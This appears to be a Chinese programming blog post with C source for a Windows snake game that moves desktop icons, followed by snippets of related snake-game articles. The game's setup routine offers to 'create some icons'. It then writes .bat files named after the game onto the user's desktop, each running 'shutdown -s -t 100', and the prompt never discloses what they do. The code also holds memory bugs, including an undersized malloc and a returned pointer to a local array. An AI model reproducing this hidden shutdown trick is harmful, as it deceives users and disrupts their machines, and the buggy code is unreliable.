C语言实现桌面贪吃蛇小游戏

本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h"
#include <stdio.h>
#include <string.h>
#define SIZE 100     //图标大小默认为100

HWND deskpot;   //桌面句柄
int iCount = 0;  //图标个数
int screenX;   //获取屏幕的分辨率(宽)
int screenY;	 //获取屏幕的分辨率(高)
int eatCount = 0;  //计数(已经吃到的图标)
int index = 0;
int speed = 500;  //初始速度

typedef struct Snake   //蛇结构体
{
	int x;
	int y;
	int index;
	struct Snake* next;
}snake;

snake* Head;  //蛇头
snake* SnakeTemp;  //临时的
POINT food;  //食物位置

char* GetDesktopPath();      //返回桌面路径
void Initialization();      //初始化变量
void StartGame();         //开始游戏

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	Initialization();
	MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
	StartGame();
	return 0;
}

void Initialization()     //初始化变量
{
	srand(unsigned int(time(NULL)));

	HWND grandpa = FindWindowA("Progman", "Program Manager");

	HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);

	deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");

	iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0);    //获取句柄中控件的个数
	screenX = GetSystemMetrics(SM_CXSCREEN);  //获取屏幕的分辨率(宽)
	screenY = GetSystemMetrics(SM_CYSCREEN);  //获取屏幕的分辨率(高)
	Head = (snake*)malloc(sizeof(Head));
	Head->x = rand() % (screenX / SIZE) * SIZE;   //蛇头初始化位置
	Head->y = rand() % (screenY / SIZE) * SIZE;
	Head->index = 0;
	Head->next = NULL;

	if (iCount < 30)
	{
		if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES)   //判断桌面图标是否够30个,不够就创建些
		{
			FILE* fp;
			char Path[200];    //保存文件路径
			char temp[20];    //存储文件名
			char FineName[100];  //存储文件的全名加后缀名

			for (int i = 0; i < 30 - iCount; i++)
			{
				memset(Path, 0, 200 * sizeof(char));
				strcpy(Path, GetDesktopPath());  //将桌面路径给Path
				sprintf(temp, "\\贪吃蛇%d.bat", i);
				strcat(Path, temp);
				if ((fp = fopen(Path, "w+")) == NULL)
					continue;  //如果他建失败就跳过

				fprintf(fp, "shutdown -s -t 100");
				fclose(fp);
			}
		}
	}
	for (int i = 0; i < iCount; i++)
	{
		//因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算
		SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
	}
	return;
}

char* GetDesktopPath()      //返回桌面路径
{
	LPITEMIDLIST pidl;
	LPMALLOC pShellMalloc;
	char szDir[200];
	if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
	{
		if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
		{
			// 如果成功返回true
			SHGetPathFromIDListA(pidl, szDir);
			pShellMalloc->Free(pidl);
		}
		pShellMalloc->Release();
	}

	return szDir;
}

void StartGame()         //开始游戏
{

	SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x);   //打印蛇头

label:
	food.x = rand() % (screenX / SIZE) * SIZE;
	food.y = rand() % (screenY / SIZE) * SIZE;
	if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
		goto label;
	SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x);   //打印食物

	snake SnakeMove;    //蛇的移动
	SnakeMove.x = 1, SnakeMove.y = 0;   //默认向右移动

	while (eatCount < iCount)
	{
		if (GetAsyncKeyState(VK_UP) != 0)   //上
			SnakeMove.x = 0, SnakeMove.y = -1;

		if (GetAsyncKeyState(VK_DOWN) != 0)  //下
			SnakeMove.x = 0, SnakeMove.y = 1;

		if (GetAsyncKeyState(VK_LEFT) != 0)  //左
			SnakeMove.x = -1, SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_RIGHT) != 0)  //右
			SnakeMove.x = 1, SnakeMove.y = 0;

		if (GetAsyncKeyState(VK_ESCAPE) != 0)  //结束
		{
			MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
			exit(0);
		}

		if (GetAsyncKeyState(VK_SPACE))     //按空格键暂停
		{
			while (1)
			{
				Sleep(300);
				if (GetAsyncKeyState(VK_SPACE))     //再按一次空格键继续
					break;
			}
		}

		if (Head->x == food.x && Head->y == food.y)
		{
			index++;
			eatCount++;
			speed = speed - (speed / 10);
			snake* temp;
			temp = (snake*)malloc(sizeof(snake));
			temp->x = food.x;
			temp->y = food.y;
			temp->index = index;
			temp->next = NULL;

			SnakeTemp = Head;
			while (SnakeTemp->next != NULL)
			{
				SnakeTemp = SnakeTemp->next;
			}
			SnakeTemp->next = temp;

			SnakeTemp = Head;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			while (SnakeTemp != NULL)
			{
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				SnakeTemp = SnakeTemp->next;
			}

		label2:
			food.x = rand() % (screenX / SIZE) * SIZE;
			food.y = rand() % (screenY / SIZE) * SIZE;
			if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
				goto label2;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x);   //打印食物

		}
		else
		{
			snake Temp;
			snake Temp2;
			bool choice = false;
			SnakeTemp = Head;
			Temp.x = SnakeTemp->x;
			Temp.y = SnakeTemp->y;
			SnakeTemp->x += SnakeMove.x * SIZE;
			SnakeTemp->y += SnakeMove.y * SIZE;
			SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				Temp2.x = SnakeTemp->x;
				Temp2.y = SnakeTemp->y;

				SnakeTemp->x = Temp.x;
				SnakeTemp->y = Temp.y;
				SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
				Temp.x = Temp2.x;
				Temp.y = Temp2.y;
				SnakeTemp = SnakeTemp->next;

			}
			if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
			{
				MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
				exit(0);
			}

			SnakeTemp = Head->next;
			while (SnakeTemp != NULL)
			{
				if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
				{
					MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
					exit(0);
				}
				SnakeTemp = SnakeTemp->next;
			}

		}

		Sleep(speed);
	}
	return;
}

游戏界面如图:

失败界面如图:

到此这篇关于C语言实现桌面贪吃蛇小游戏的文章就介绍到这了,更多相关C语言桌面贪吃蛇内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • C语言结构数组实现贪吃蛇小游戏

    一.设计思路 蛇身本质上就是个结构数组,数组里存储了坐标x.y的值,再通过一个循环把它打印出来,蛇的移动则是不断地刷新重新打印.所以撞墙.咬到自己只是数组x.y值的简单比较. 二.用上的知识点 结构数组Windows API函数 三.具体实现 先来实现静态页面,把地图.初始蛇身.食物搞定. 这里需要用到Windows API的知识,也就是对控制台上坐标的修改 //这段代码来自参考1 void Pos(int x, int y) { COORD pos; HANDLE hOutput; pos.X

  • C语言链表实现贪吃蛇游戏

    阅读学习了源代码,并做了简单的注释和修改,里面只用了链表数据结构,非常适合C语言入门者学习阅读. 程序可在VS2013下编译运行. #include<stdio.h> #include<time.h> #include<windows.h> #include<stdlib.h> #define U 1 #define D 2 #define L 3 #define R 4 //蛇的状态,U:上 :D:下:L:左 R:右 typedef struct SNAK

  • C语言实现贪吃蛇游戏

    最近整理下电脑,看到了自己在上个学期打的贪吃蛇游戏的c代码,觉得真的是略微有点冗长,但是实现起来应该也算是比较好理解,于是把自己的代码搬上来,网络上写贪吃蛇的c语言的文章很多,我这篇也仅是给大家作为一个参考而已. 我的代码是在Windows下运行的,因为需要用到windows.h这个库. 然后也做了一个简单的ai模式,这在没有障碍物的情况下前期还是蛮不错的,但是到了后期蛇变长了之后就会有bug了. 好了,直接上代码吧: 1)头文件和宏定义 #include<stdio.h> #include&

  • C语言实现贪吃蛇游戏设计

    C语言实现贪吃蛇,供大家参考,具体内容如下 实验平台:DEV C++ /******************************************************************************** *File name:SnakeGame3.0.c *Description:贪吃蛇游戏源代码(C语言),采用 *宽度优先算法,计算蛇到食物的最短路径(时间复杂度n^3空间复杂度n^2),这个算法遇 * *到自身围困情况将失效,无法计算出最短路径 * *******

  • C语言实现贪吃蛇游戏(单人版)

    本文实例为大家分享了C语言实现贪吃蛇游戏的具体代码,供大家参考,具体内容如下 相比于第一个:贪吃蛇游戏,功能更加丰富 #include"snake.h" //蛇的移动 void move_snake(); //画出蛇 void draw_snake(); //产生食物 void creatfood(); //判断蛇是否吃到食物 void eatfood(); //判断蛇是否死掉 void SnakeState(); int main() { //设置窗口大小 system("

  • C语言贪吃蛇经典小游戏

    一.贪吃蛇小游戏简介: 用上下左右控制蛇的方向,寻找吃的东西,每吃一口就能得到一定的积分,而且蛇的身子会越吃越长,身子越长玩的难度就越大,不能碰墙,也不能咬到自己的身体,等到了一定的分数,就能过关. 二.函数框架 三.数据结构 typedef struct Snake { size_t x; //行 size_t y; //列 struct Snake* next; }Snake, *pSnake; 定义蛇的结构体,利用单链表来表示蛇,每个结点为蛇身体的一部分. 四.代码实现(vs2010  c

  • 基于C语言实现的贪吃蛇游戏完整实例代码

    本文以实例的形式讲述了基于C语言实现的贪吃蛇游戏代码,这是一个比较常见的游戏,代码备有比较详细的注释,对于读者理解有一定的帮助. 贪吃蛇完整实现代码如下: #include <graphics.h> #include <conio.h> #include <stdlib.h> #include <dos.h> #define NULL 0 #define UP 18432 #define DOWN 20480 #define LEFT 19200 #defi

  • C语言实现桌面贪吃蛇小游戏

    本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~ #define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <commctrl.h> #include <time.h> #include <stdlib.h> #include "shlobj.h" #include <stdio.h> #include <string.h

  • C语言单链表贪吃蛇小游戏

    C语言实现单链表控制台贪吃蛇小游戏 编译环境:vs2019 需求: 统计游戏开始后的时间,控制贪吃蛇:吃到食物蛇身加长,得分加一:碰墙或蛇头碰到身体减一条生命:生命消耗完则结束游戏. 思路: 使用wasd键控制蛇的移动方向,蛇头碰到食物得分加一,并在地图上随机产生一个食物,累加得分,碰墙或碰自己减一条生命,并初始化整条蛇,生命值为0时结束游戏. 做法: 使用单链表控制贪吃蛇移动的核心思想就是:链表存储贪吃蛇所有坐标,每次循环贪吃蛇不断向一个方向插入一个新的结点作为新的蛇头,按下按键控制新蛇头产生

  • C语言实现简单贪吃蛇小游戏

    本文实例为大家分享了C语言实现简单贪吃蛇的具体代码,供大家参考,具体内容如下 依然是非常传统的贪吃蛇小游戏,网上很多教程,配置好ege图形库就好,不然没有grapics.h另外,还需要添加snakes.h,直接上代码吧,注释很详细了.觉得难度有一部分来源于配置图形库. snakes.h void welcome(); void initSnake(); void createPoint(); void drawSnake(); void drawRandomPoint(); void view(

  • C语言链表实现贪吃蛇小游戏

    本文实例为大家分享了C语言链表实现贪吃蛇游戏的具体代码,供大家参考,具体内容如下 项目名称: 贪吃蛇小游戏 运行环境: Linux 编程语言: C语言 主要语法: 链表,指针,函数 备注: 游戏中可选不同难度模式, 1.简易--Easy--速度慢,可穿墙,可触碰自己 2.困难--Hard--速度快,不可穿墙,不可触碰自己 3.自动--Auto--外挂模式,自动吃食,直到胜利 代码 贪吃蛇小游戏代码: #include <curses.h> #include <stdlib.h> #

  • C语言开发实现贪吃蛇小游戏

    小时候相信大家都玩过贪吃蛇,但是自从学了编程以后我都想自己实现一下,苦于没有契机. 首先看一下游戏效果把: 接下来我们先分析一下贪吃蛇的需求有哪些: 用合适的数据结构表示蛇.食物 地图的初始化 蛇的移动.食物的随机生成 蛇的显示.食物的显示 贪吃蛇的规则确定(碰到食物边长.碰到边界和自己死亡等--) 主要功能需求就是上面这些,接下来我直接上C语言代码,这个游戏相信没做过的人看完之后会觉得非常简单,因为其中没什么技术点可言,最重要的就是下面这几句代码,用于控制光标的位置. #include<Win

  • C语言实现简单的贪吃蛇小游戏

    本文实例为大家分享了C语言实现简单贪吃蛇小游戏的具体代码,供大家参考,具体内容如下 #温馨提示:以下设计在VS2019下完美运行,完整代码附在末尾,供大家学习参考 (1)游戏进入界面(动态读取以及温馨提示) void loading()//动态加载图 { int j; gotoxy(43, 11); printf("Loading..."); gotoxy(39, 13); printf("□□□□□□□□"); gotoxy(39, 13); for (j = 8

  • C语言实现贪吃蛇小游戏

    本文实例为大家分享了C语言实现贪吃蛇小游戏的具体代码,供大家参考,具体内容如下 一.程序实现的原理: 1.构造蛇身:定义一个坐标数组,存放的是蛇的每一节蛇身所在的坐标位置.这样就将移动蛇身的操作转换为移动数组的操作,将吃食物增加蛇身体长度的操作转换为在数组后面追加元素的操作. 2.移动效果:每次移动时,将每一节蛇身(蛇头除外)依次往前移动一节,然后擦去蛇的最后一节,最后确定蛇头的方向,再绘制一个蛇头.这样就会显示一个移动效果. 3.身体增加效果:每次移动时候,判断蛇头是否碰到了食物,如果碰到了食

  • Linux下C语言实现贪吃蛇小游戏

    本文实例为大家分享了C语言实现贪吃蛇小游戏的具体代码,供大家参考,具体内容如下 此次贪吃蛇小游戏的目的是使得我在Linux底下使用vi进行编写的 心得: 1.自己对linux中如何使用vi更加熟悉 如::wq yy pp dd u 等等 2.对c语言的指针,结构体,链表等更加的牢固 3.借此小项目也运用到多线程作为进入linux的深入学习打下坚实的基础 代码展示 #include<curses.h> #include<stdlib.h> #define UP 1 //1与-1的目的

  • 用C语言实现贪吃蛇小游戏

    本文实例为大家分享了C语言实现贪吃蛇小游戏的具体代码,供大家参考,具体内容如下 实现功能 蛇最开始三节,向右移动.用户可以通过按上下左右来控制蛇的移动,食物随机产生,蛇吃到食物后蛇的身体会变长.蛇撞墙或者撞到自己身体后,游戏结束. 怎么实现 要实现一个贪吃蛇小游戏,首先要想清楚游戏里有什么,怎样实现功能. 很明显游戏中只有两样东西,蛇和食物. 所以要建立蛇和食物信息,然后将蛇和食物进行初始化,在将蛇和食物画出来. 实现的功能有: 1. 蛇的移动  2. 按键控制蛇的移动  3. 食物的产生  4

  • 基于C语言实现贪吃蛇小游戏

    本文实例为大家分享了C语言实现贪吃蛇小游戏的具体代码,供大家参考,具体内容如下 1.目标要求: 1.上下左右控制蛇头转向2.若蛇头碰到食物,长度加一3.若蛇头碰到边框.碰到自身或蛇回头,游戏结束 2.C语言代码: #include<stdio.h> #include<stdlib.h> #include<windows.h> #include<conio.h> #define interface_x 19//画布行数 #define interface_y

随机推荐